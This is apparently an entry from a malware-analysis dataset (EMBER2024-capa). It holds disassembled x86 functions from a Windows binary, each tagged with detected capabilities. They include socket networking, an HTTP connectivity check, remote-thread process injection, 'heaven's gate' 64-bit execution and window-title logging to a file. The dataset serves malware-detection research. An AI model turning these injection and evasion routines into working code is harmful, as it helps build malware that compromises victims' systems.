joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40661e
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
mov edi, ecx
cmp dword [edi + 0xc], 0xffffffff
jne 0x406633
xor eax, eax
jmp 0x4066a1
push str.nevergonnagiveyouup
lea ecx, [ebp - 8]
call fcn.0040434f
push eax
lea ecx, [ebp - 0x14]
call fcn.0040403b
mov ecx, dword [ebp - 8]
call fcn.00406f1d
mov esi, dword [ebp + 8]
push ecx
push ecx
mov ecx, esp
push esi
call fcn.00404094
push ecx
push ecx
lea eax, [ebp - 0x14]
mov ecx, esp
push eax
call fcn.00404094
lea ecx, [ebp - 0xc]
call fcn.0040709b
add esp, 0x10
push 0
push dword [esi + 4]
push dword [ebp - 0xc]
push dword [edi + 0xc]
call dword [sym.imp.WS2_32.dll_send]
xor ebx, ebx
lea ecx, [ebp - 0xc]
cmp eax, 0xffffffff
setne bl
call fcn.00404081
lea ecx, [ebp - 0x14]
call fcn.00404081
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x4066a8
Capabilities:
Receive data
Receive data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x10038
call fcn.00401230
push ebx
mov ebx, ecx
push esi
push edi
cmp dword [ebx + 0xc], 0xffffffff
je 0x40686a
push 4
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], 0xea60
push eax
push 0x1006
mov esi, 0xffff
push esi
push dword [ebx + 0xc]
call dword [sym.imp.WS2_32.dll_setsockopt]
push esi
xor esi, esi
lea eax, [ebp - 0x10034]
push esi
push eax
call fcn.00401293
add esp, 0xc
lea ecx, [ebp - 8]
push str.nevergonnagiveyouup
call fcn.0040434f
push eax
lea ecx, [ebp - 0x30]
call fcn.0040403b
mov ecx, dword [ebp - 8]
call fcn.00406f1d
mov dword [ebp - 0xc], esi
mov dword [ebp - 8], esi
push esi
push 0xc
lea eax, [ebp - 0x10034]
push eax
push dword [ebx + 0xc]
call dword [sym.imp.WS2_32.dll_recv]
mov edi, eax
cmp edi, 0xc
jne 0x4067c4
push eax
lea eax, [ebp - 0x10034]
mov dword [ebp - 0x14], esi
push eax
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x10], esi
call fcn.00403fc7
push ecx
push ecx
lea eax, [ebp - 0x14]
mov ecx, esp
push eax
call fcn.00404094
push ecx
push ecx
lea eax, [ebp - 0x30]
mov ecx, esp
push eax
call fcn.00404094
lea ecx, [ebp - 0x28]
call fcn.0040709b
mov eax, dword [ebp - 0x28]
add esp, 0x10
mov eax, dword [eax + 4]
lea esi, [eax + 0xc]
test eax, eax
je 0x4067aa
push 0
mov eax, esi
sub eax, edi
push eax
lea eax, [ebp - 0x10034]
add eax, edi
push eax
push dword [ebx + 0xc]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x40684e
add edi, eax
cmp esi, edi
jne 0x406782
lea ecx, [ebp - 0x28]
call fcn.00404081
mov ecx, dword [ebp - 0x14]
test ecx, ecx
je 0x4067be
call fcn.00406f66
and dword [ebp - 0x14], 0
jmp 0x4067cd
cmp edi, 0xffffffff
je 0x406862
push edi
lea eax, [ebp - 0x10034]
push eax
lea ecx, [ebp - 0xc]
call fcn.00403fc7
push ecx
push ecx
lea eax, [ebp - 0xc]
mov ecx, esp
push eax
call fcn.00404094
push ecx
push ecx
lea eax, [ebp - 0x30]
mov ecx, esp
push eax
call fcn.00404094
lea ecx, [ebp - 0x20]
call fcn.0040709b
add esp, 0x10
lea ecx, [ebx + 0x10]
call fcn.00403ffa
push edi
push dword [ebp - 0x20]
lea ecx, [ebx + 0x10]
call fcn.00403fc7
mov ecx, dword [ebp - 0xc]
test ecx, ecx
je 0x406822
call fcn.00406f66
xor esi, esi
lea ecx, [ebp - 0x20]
mov dword [ebp - 0xc], esi
mov dword [ebp - 8], esi
call fcn.00403ffa
push dword [ebp + 8]
mov ecx, ebx
call fcn.00405f6c
lea ecx, [ebp - 0x20]
call fcn.00404081
test edi, edi
jg 0x40671c
jmp 0x406862
lea ecx, [ebp - 0x28]
call fcn.00404081
mov ecx, dword [ebp - 0x14]
test ecx, ecx
je 0x406862
call fcn.00406f66
lea ecx, [ebp - 0x30]
call fcn.00404081
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x406871
Capabilities:
Connect socket
Connect udp socket
Create udp socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
push edi
lea eax, [ebp + 8]
xor ebx, ebx
push eax
mov edi, ecx
mov dword [ebp - 4], ebx
call fcn.0040415d
mov eax, dword [ebp + 0xc]
lea ecx, [edi + 0x1d8]
mov dword [edi + 4], eax
call fcn.00414047
lea eax, [ebp - 4]
mov dword [ebp - 0x24], ebx
push eax
lea eax, [ebp - 0x24]
mov dword [ebp - 0x20], ebx
push eax
push 0
push dword [ebp + 8]
xorps xmm0, xmm0
mov dword [ebp - 0x18], 6
inc ebx
movlpd qword [ebp - 0x14], xmm0
movlpd qword [ebp - 0xc], xmm0
mov dword [ebp - 0x1c], ebx
call dword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
jne 0x40694a
mov eax, dword [ebp - 4]
push 0
push ebx
push 2
mov esi, dword [eax + 0x18]
pop eax
push eax
call dword [sym.imp.WS2_32.dll_socket]
mov dword [edi + 0xc], eax
cmp eax, 0xffffffff
je 0x40694a
mov eax, dword [esi + 4]
lea esi, [edi + 0x1c8]
push 2
mov dword [edi + 0x1cc], eax
pop eax
push dword [ebp + 0xc]
mov word [esi], ax
call dword [sym.imp.WS2_32.dll_htons]
push dword [ebp - 4]
mov word [edi + 0x1ca], ax
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
push str.Ws2_32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.connect
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xor eax, eax
push eax
push eax
push eax
push eax
push 0x10
push esi
push dword [edi + 0xc]
call dword [sym.imp.WS2_32.dll_WSAConnect]
cmp eax, 0xffffffff
jne 0x40695d
or dword [edi + 0xc], eax
xor ebx, ebx
mov ecx, dword [ebp + 8]
call fcn.00406f1d
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret 8
push dword [edi + 0x1d8]
mov dword [edi + 8], ebx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
jmp 0x40694c

Function at 0x40696e
Capabilities:
Initialize winsock library

Disassembly:
push esi
mov esi, ecx
push edi
xor edi, edi
push ecx
lea ecx, [esi + 0x1d8]
mov dword [esi], edi
mov dword [esi + 0x10], edi
mov dword [esi + 0x14], edi
mov dword [esi + 0x30], edi
mov dword [esi + 0x34], edi
call fcn.00414070
lea eax, [esi + 0x38]
push eax
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
or dword [esi + 0xc], 0xffffffff
mov eax, esi
mov dword [esi + 0x18], edi
mov dword [esi + 0x24], edi
pop edi
pop esi
ret

Function at 0x4073ef
Capabilities:
Terminate process

Disassembly:
push ebx
push esi
push edi
mov edi, ecx
mov ebx, edx
mov esi, dword [edi + 4]
test esi, esi
je 0x40741f
mov eax, dword [esi]
dec dword [edi + 0x3c]
mov dword [edi + 4], eax
cmp dword [esi + 8], 0
je 0x407413
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, esi
call fcn.00407458
movzx eax, bx
jmp 0x407441
push 0x10
call fcn.00401000
mov ecx, ebx
mov esi, eax
shl ecx, 2
push ecx
call fcn.00401000
pop ecx
pop ecx
movzx ecx, bx
mov dword [esi + 0xc], eax
mov eax, ecx
mov word [esi + 6], cx
and dword [esi], 0
mov word [esi + 4], ax
mov eax, esi
mov dword [esi + 8], 1
inc dword [edi + 0x38]
pop edi
pop esi
pop ebx
ret
Function at 0x407607
Capabilities:
Terminate process

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0xc]
call fcn.00407d95
mov edx, dword [esi + 0xc]
mov ecx, esi
call fcn.00407d69
mov ecx, dword [esi + 0x18]
call fcn.00407d95
mov edx, dword [esi + 0x18]
mov ecx, esi
call fcn.00407d69
mov ecx, dword [esi + 0x24]
call fcn.00407d95
mov edx, dword [esi + 0x24]
mov ecx, esi
pop esi
jmp fcn.00407d69

Function at 0x40820b
Capabilities:
Connect socket
Receive data
Receive data on socket
Reference http user-agent string
Resolve dns
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push ebx
push esi
push edi
push 2
xor edi, edi
pop ebx
lea eax, [ebp - 4]
mov dword [ebp - 4], edi
push eax
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x3c], edi
push eax
xorps xmm0, xmm0
mov dword [ebp - 0x38], edi
push edi
push str.microsoft.com
movlpd qword [ebp - 0x2c], xmm0
movlpd qword [ebp - 0x24], xmm0
mov dword [ebp - 0x34], 1
mov dword [ebp - 0x30], 6
call dword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
jne 0x40830d
mov eax, dword [ebp - 4]
push edi
push 1
push ebx
mov esi, dword [eax + 0x18]
call dword [sym.imp.WS2_32.dll_socket]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x40830d
mov ecx, dword [esi + 4]
push 2
pop eax
push 0x50
mov dword [ebp - 0x18], ecx
mov word [ebp - 0x1c], ax
call dword [sym.imp.WS2_32.dll_htons]
push dword [ebp - 4]
mov word [ebp - 0x1a], ax
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
push edi
push edi
push edi
push edi
push 0x10
lea eax, [ebp - 0x1c]
push eax
push ebx
call dword [sym.imp.WS2_32.dll_WSAConnect]
cmp eax, 0xffffffff
je 0x40830d
push edi
push 0x16c
push str._r_nGET_http:__microsoft.com__HTTP_1.1_r_nHost:_microsoft.com_r_nUser_Agent:_Mozilla_5.0__Windows_NT_10.0__Win64__x64__rv:100.0__Gecko_20100101_Firefox_100.0_r_nAccept:_text_html_application_xhtmlxml_application_xml_q0.9_image_avif_image_webp___q0.8_r_nAccept_Language:_en_US_en_q0.5_r_nAccept_Encoding:_gzip__deflate_r_nConnection:_keep_alive_r_nUpgrade_Insecure_Requests:_1_r_n
push ebx
call dword [sym.imp.WS2_32.dll_send]
push 0x200
call fcn.00401000
pop ecx
push edi
push 0x200
mov esi, eax
push esi
push ebx
call dword [sym.imp.WS2_32.dll_recv]
mov ecx, esi
mov edi, eax
call fcn.00408179
push esi
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], edx
call fcn.00401014
pop ecx
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
push 0
cmp edi, 0x64
pop edi
push 2
pop ebx
jl 0x408219
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 0xc]
jmp 0x408311
xor eax, eax
xor edx, edx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40844f
Capabilities:
Hash data using sha1

Disassembly:
and dword [ecx + 0x18], 0
and dword [ecx + 0x14], 0
mov dword [ecx], 0x67452301
mov dword [ecx + 4], 0xefcdab89
mov dword [ecx + 8], 0x98badcfe
mov dword [ecx + 0xc], 0x10325476
mov dword [ecx + 0x10], 0xc3d2e1f0
ret
Function at 0x409796
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
push ebx
mov ebx, ecx
push esi
push edi
mov dword [ebp - 0xc], ebx
lea eax, [ebx + 0x10]
mov ecx, eax
mov dword [ebp - 0x1c], eax
call fcn.00414047
mov ecx, dword [ebx + 8]
xor eax, eax
mov dword [ebp - 8], eax
test ecx, ecx
je 0x4097fa
xor edi, edi
cmp eax, ecx
mov dword [ebp - 0x10], edi
setb cl
call fcn.00406d65
mov esi, dword [ebx]
mov ecx, dword [ebp + 0xc]
add esi, edi
lea edi, [ebp - 0x28]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov esi, dword [ebp - 8]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x24], ecx
je 0x409810
mov edi, dword [ebp - 0x10]
mov ecx, dword [ebx + 8]
add edi, 0xc
mov dword [ebp - 8], eax
mov dword [ebp - 0x10], edi
cmp eax, ecx
jb 0x4097c4
xor esi, esi
mov eax, dword [ebp - 0x1c]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 0xc
cmp esi, dword [ebx + 8]
setb cl
call fcn.00406d65
imul ebx, esi, 0xc
lea edi, [ebp - 0x28]
mov esi, dword [ebp - 0xc]
mov esi, dword [esi]
add esi, ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov ecx, dword [ebp - 0x20]
call fcn.00406f1d
mov esi, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
cmp eax, dword [esi + 8]
setb cl
call fcn.00406d65
mov esi, dword [esi]
lea edi, [ebp - 0x28]
add esi, ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
xor edi, edi
push edi
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ebx, dword [ebp - 0xc]
mov esi, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x10], esi
cmp eax, dword [ebx + 8]
setb cl
call fcn.00406d65
mov eax, dword [ebx + 8]
mov ecx, dword [ebp - 0x14]
cmp ecx, eax
ja 0x409897
imul edx, ecx, 0xc
mov esi, dword [ebx]
add esi, edx
inc ecx
add edx, 0xc
lea edi, [esi - 0xc]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov eax, dword [ebx + 8]
cmp ecx, eax
jbe 0x40987d
mov esi, dword [ebp - 0x10]
xor edi, edi
dec eax
cmp dword [ebp + 0x10], 0
mov dword [ebx + 8], eax
je 0x4097fc
push 3
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], edi
push eax
push edi
push edi
push edi
push edi
push ecx
mov eax, esp
mov dword [ebp - 0x14], edi
push dword [ebp + 0xc]
lea ecx, [ebp - 0x4c]
mov dword [eax], edi
call fcn.00405168
mov ecx, dword [ebp + 8]
push eax
call fcn.00405f32
lea ecx, [ebp - 0x4c]
call fcn.004050ca
mov ecx, dword [ebp - 0x18]
test ecx, ecx
je 0x4097fc
call fcn.00406f66
jmp 0x4097fc
Function at 0x4098eb
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
and dword [ebp - 0xc], 0
push ebx
push esi
push edi
push 0x1c
mov dword [ebp - 4], ecx
call fcn.00401000
mov ebx, dword [ebp + 0xc]
mov edx, eax
pop ecx
push 7
pop ecx
xor eax, eax
mov dword [ebp - 8], edx
mov edi, edx
lea esi, [ebx + 8]
rep stosd dword es:[edi], eax
mov ecx, dword [ebx + 4]
mov dword [edx + 0xc], ecx
lea ecx, [edx + 0x10]
push esi
call fcn.004043c7
mov ecx, dword [ebp - 8]
mov eax, dword [ebp + 8]
push 0x208
mov dword [ecx + 4], eax
mov eax, dword [ebp - 4]
mov dword [ecx], eax
mov eax, dword [ebx + 4]
mov dword [ecx + 0x18], eax
call fcn.00401000
pop ecx
push esi
lea ecx, [ebp + 8]
mov edi, eax
call fcn.00404656
push esi
lea ecx, [ebp + 0xc]
call fcn.00404656
lea ecx, [ebp + 8]
call fcn.004045f0
lea eax, [eax*2 + 2]
push eax
push dword [ebp + 0xc]
push edi
call fcn.0040126d
mov ecx, dword [ebp + 0xc]
add esp, 0xc
call fcn.00406f1d
mov ecx, dword [ebp + 8]
call fcn.00406f1d
mov esi, dword [ebp - 8]
mov dword [ebp - 0x10], esi
mov dword [esi + 0x14], edi
mov eax, dword [ebx + 4]
mov ebx, dword [ebp - 4]
mov dword [ebp - 0x14], eax
lea ecx, [ebx + 0x10]
call fcn.00414047
lea eax, [ebp - 0xc]
push eax
xor eax, eax
push eax
push esi
push 0x4095aa
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
sub esp, 0xc
mov dword [ebp - 0x18], eax
mov edi, esp
lea esi, [ebp - 0x18]
mov ecx, ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.00402612
push dword [ebx + 0x10]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x409b57
Capabilities:
Allocate or change rwx memory
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
and dword [ebp - 4], 0
lea ecx, [ebp - 4]
push ebx
push esi
push edi
call fcn.00413473
push 0x40
push 0x1000
push 0xff
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
push 0x104
push ebx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push 5
pop ecx
mov esi, 0x419b78
lea edi, [ebx + eax]
rep movsd dword es:[edi], dword [esi]
push 0x44
xor esi, esi
lea eax, [ebp - 0x60]
push esi
push eax
call fcn.00401293
xor eax, eax
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
add esp, 0xc
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x60]
push eax
push esi
push esi
push 0x8000000
push esi
push esi
push esi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x409bf2
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 4]
call fcn.0041344c
mov eax, dword [ebp - 0xc]
jmp 0x409bfa
mov ecx, dword [ebp - 4]
call fcn.0041344c
pop edi
pop esi
pop ebx
leave
ret
Function at 0x409bff
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
cmp byte [0x41e694], 0
push ebx
push esi
mov ebx, edx
mov dword [ebp - 0x10], ecx
jne 0x409c23
call fcn.0040a95a
test eax, eax
setne byte [0x41e694]
push dword [ebp + 8]
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
jne 0x409c41
or eax, 0xffffffff
jmp 0x409ceb
push edi
push 0x40
push 0x3000
push 0x100000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
test edi, edi
je 0x409ce7
and dword [ebp - 0xc], 0
lea eax, [ebp - 0xc]
push eax
push 0x40
push 0x100000
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push 0x40
push 0x3000
push 0x100
push 0x33370000
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
test eax, eax
je 0x409ce7
and dword [ebp - 4], 0
lea ecx, [ebp - 4]
push ecx
push 6
push str.XXXXXX
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x409ce3
cmp dword [ebp - 4], 6
jne 0x409ce3
and dword [ebp - 8], 0
lea eax, [ebp - 8]
push eax
push ebx
push dword [ebp - 0x10]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x409ce3
cmp dword [ebp - 8], ebx
jne 0x409ce3
xor eax, eax
push eax
push eax
push eax
push edi
push eax
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
jmp 0x409cea
push 0xfffffffffffffffd
jmp 0x409ce9
push 0xfffffffffffffffe
pop eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x409eee
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1b4
push ebx
push esi
push edi
call fcn.0040a2ab
xor ecx, ecx
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], edx
cmp eax, ecx
jne 0x409f13
cmp edx, ecx
je 0x40a2a2
lea ecx, [ebp - 0xa8]
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ecx
mov dword [ebp - 0xc], edx
push 0x33
call 0x409f29
add dword [esp], 5
retf
xor eax, eax
xor edx, edx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40a2d1
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5d4
cmp dword [0x41e698], 0
push ebx
push esi
push edi
je 0x40a57d
call fcn.0040a59d
lea ecx, [ebp - 0x250]
mov dword [ebp - 4], ecx
test eax, eax
jne 0x40a300
test edx, edx
je 0x40a34f
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], edx
push 0x33
call 0x40a30d
add dword [esp], 5
retf
mov ecx, dword [ebp - 0x1f0]
lea eax, [ebp - 0x5d0]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x1ec]
test ecx, ecx
jne 0x40a36c
test eax, eax
je 0x40a3bb
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], eax
push 0x33
call 0x40a379
add dword [esp], 5
retf
mov ecx, dword [ebp - 0x5b8]
lea eax, [ebp - 0x168]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x5b4]
test ecx, ecx
jne 0x40a3d8
test eax, eax
je 0x40a433
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], eax
push 0x33
call 0x40a3e5
add dword [esp], 5
retf
add ecx, 0x10
lea edx, [ebp - 0x110]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp - 0x158]
adc eax, 0
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x154]
mov dword [ebp - 0x110], ecx
mov dword [ebp - 0x10c], eax
mov dword [ebp - 0x14], edx
test ecx, ecx
jne 0x40a468
test eax, eax
je 0x40a4b7
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], eax
push 0x33
call 0x40a475
add dword [esp], 5
retf
movzx eax, word [ebp - 0xb6]
push eax
call fcn.00401000
mov dword [ebp - 4], eax
pop ecx
test eax, eax
je 0x40a57d
movzx edx, word [ebp - 0xb6]
lea ecx, [ebp - 4]
mov esi, dword [ebp - 0xb0]
mov dword [ebp - 0x10], ecx
mov ecx, dword [ebp - 0xac]
mov byte [ebp - 0xc], 1
mov dword [ebp - 0x18], edx
test esi, esi
jne 0x40a4f8
test ecx, ecx
je 0x40a54c
test edx, edx
je 0x40a54c
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x2c], ecx
push 0x33
call 0x40a509
add dword [esp], 5
retf
mov edx, eax
call fcn.0040a845
lea ecx, [ebp - 0x10]
test eax, eax
je 0x40a586
call fcn.00402727
mov ecx, dword [ebp - 0x110]
mov eax, dword [ebp - 0x10c]
cmp ecx, dword [ebp - 0x1c]
jne 0x40a460
cmp eax, dword [ebp - 0x20]
jne 0x40a460
xor eax, eax
xor edx, edx
pop edi
pop esi
pop ebx
leave
ret
mov esi, dword [ebp - 0xe0]
mov edi, dword [ebp - 0xdc]
call fcn.00402727
mov eax, esi
mov edx, edi
jmp 0x40a581

Function at 0x40a59d
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
xorps xmm0, xmm0
push edi
movlpd qword [ebp - 8], xmm0
push 0x33
call 0x40a5b4
add dword [esp], 5
retf

Function at 0x40a5db
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov ecx, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xc], 0x17
mov dword [ebp - 8], str.LdrGetProcedureAddress
push ebx
push esi
push edi
test ecx, ecx
jne 0x40a604
test eax, eax
jne 0x40a604
xor al, al
jmp 0x40a662
mov byte [ebp - 1], 0
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], eax
push 0x33
call 0x40a615
add dword [esp], 5
retf
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40a6de
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
cmp dword [0x41e698], 0
push ebx
push esi
push edi
jne 0x40a6f9
xor eax, eax
xor edx, edx
jmp 0x40a840
mov esi, dword [ebp + 0x10]
lea edx, [ebp + 0x14]
test esi, esi
jle 0x40a718
mov eax, dword [ebp + 0x14]
lea edx, [ebp + 0x1c]
mov ecx, dword [ebp + 0x18]
dec esi
mov dword [ebp + 0x10], esi
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], ecx
jmp 0x40a720
xorps xmm0, xmm0
movlpd qword [ebp - 0x14], xmm0
mov ecx, edx
test esi, esi
jle 0x40a73a
dec esi
add edx, 8
mov dword [ebp + 0x10], esi
mov eax, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], ecx
jmp 0x40a742
xorps xmm0, xmm0
movlpd qword [ebp - 0x1c], xmm0
mov ecx, edx
test esi, esi
jle 0x40a75c
dec esi
add edx, 8
mov dword [ebp + 0x10], esi
mov eax, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], ecx
jmp 0x40a764
xorps xmm0, xmm0
movlpd qword [ebp - 0x24], xmm0
mov ecx, edx
test esi, esi
jle 0x40a77e
dec esi
add edx, 8
mov dword [ebp + 0x10], esi
mov eax, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], ecx
jmp 0x40a786
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
and dword [ebp - 8], 0
mov eax, edx
and dword [ebp - 0xc], 0
xorps xmm0, xmm0
cdq
mov dword [ebp - 0x44], eax
mov eax, esi
mov dword [ebp - 0x40], edx
cdq
movlpd qword [ebp - 0x3c], xmm0
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], edx
mov word [ebp - 0xc], fs
mov eax, 0x2b
mov fs, ax
mov dword [ebp - 8], esp
and esp, 0xfffffff0
push 0x33
call 0x40a7c1
add dword [esp], 5
retf
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40b172
Capabilities:
Get graphical window text
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push ebx
push esi
push edi
push 0x208
xor ebx, ebx
mov dword [ebp - 0xc], ecx
lea eax, [ebp - 0x214]
push ebx
push eax
call fcn.00401293
add esp, 0xc
mov dword [ebp - 4], ebx
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push 0x104
lea ecx, [ebp - 0x214]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
lea ecx, [ebp - 4]
test eax, eax
jle 0x40b1f7
push 0x419d18
call fcn.004043fa
mov esi, eax
lea ecx, [ebp - 8]
lea eax, [ebp - 0x214]
push eax
call fcn.0040460a
push eax
mov ecx, esi
call fcn.004042c5
push 0x419d1c
mov ecx, esi
call fcn.004043fa
mov ecx, dword [ebp - 8]
call fcn.00406f1d
mov dword [ebp - 8], ebx
jmp 0x40b201
push 0x419d20
call fcn.0040428f
mov eax, dword [0x41e6a0]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, 0x210
push eax
call edi
test eax, eax
mov eax, dword [0x41e6a0]
je 0x40b256
add eax, 0x210
lea ecx, [ebp - 8]
push eax
call fcn.0040460a
push eax
lea ecx, [ebp - 4]
call fcn.00404276
mov ecx, dword [ebp - 8]
mov esi, eax
call fcn.00406f1d
mov eax, dword [0x41e6a0]
mov dword [ebp - 8], ebx
test esi, esi
je 0x40b256
mov dword [eax + 0xa10], 1
jmp 0x40b270
push dword [ebp - 4]
add eax, 0x210
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov eax, dword [0x41e6a0]
mov dword [eax + 0xa10], ebx
push ebx
push 0x80
push 4
push ebx
push 1
push 4
push dword [eax + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, dword [0x41e6a0]
cmp dword [esi + 0xa10], ebx
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [esi + 4], eax
jne 0x40b311
push 0x419d10
add esi, 8
call edi
push 0
push esi
push eax
mov eax, dword [0x41e6a0]
push 0x419d10
push dword [eax + 4]
call ebx
mov edx, dword [0x41e6a0]
mov eax, dword [ebp - 4]
lea esi, [edx + 8]
test eax, eax
je 0x40b2da
push eax
call edi
mov edx, dword [0x41e6a0]
mov ecx, eax
mov eax, dword [ebp - 4]
jmp 0x40b2dc
xor ecx, ecx
push 0
push esi
add ecx, ecx
push ecx
push eax
push dword [edx + 4]
call ebx
mov esi, dword [0x41e6a0]
push 0x419d10
add esi, 8
call edi
push 0
push esi
push eax
mov eax, dword [0x41e6a0]
push 0x419d10
push dword [eax + 4]
call ebx
mov esi, dword [0x41e6a0]
push dword [ebp - 0xc]
add esi, 8
call edi
push 0
push esi
add eax, eax
push eax
mov eax, dword [0x41e6a0]
push dword [ebp - 0xc]
push dword [eax + 4]
call ebx
mov eax, dword [0x41e6a0]
push dword [eax + 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
call fcn.00406f1d
pop edi
pop esi
pop ebx
leave
ret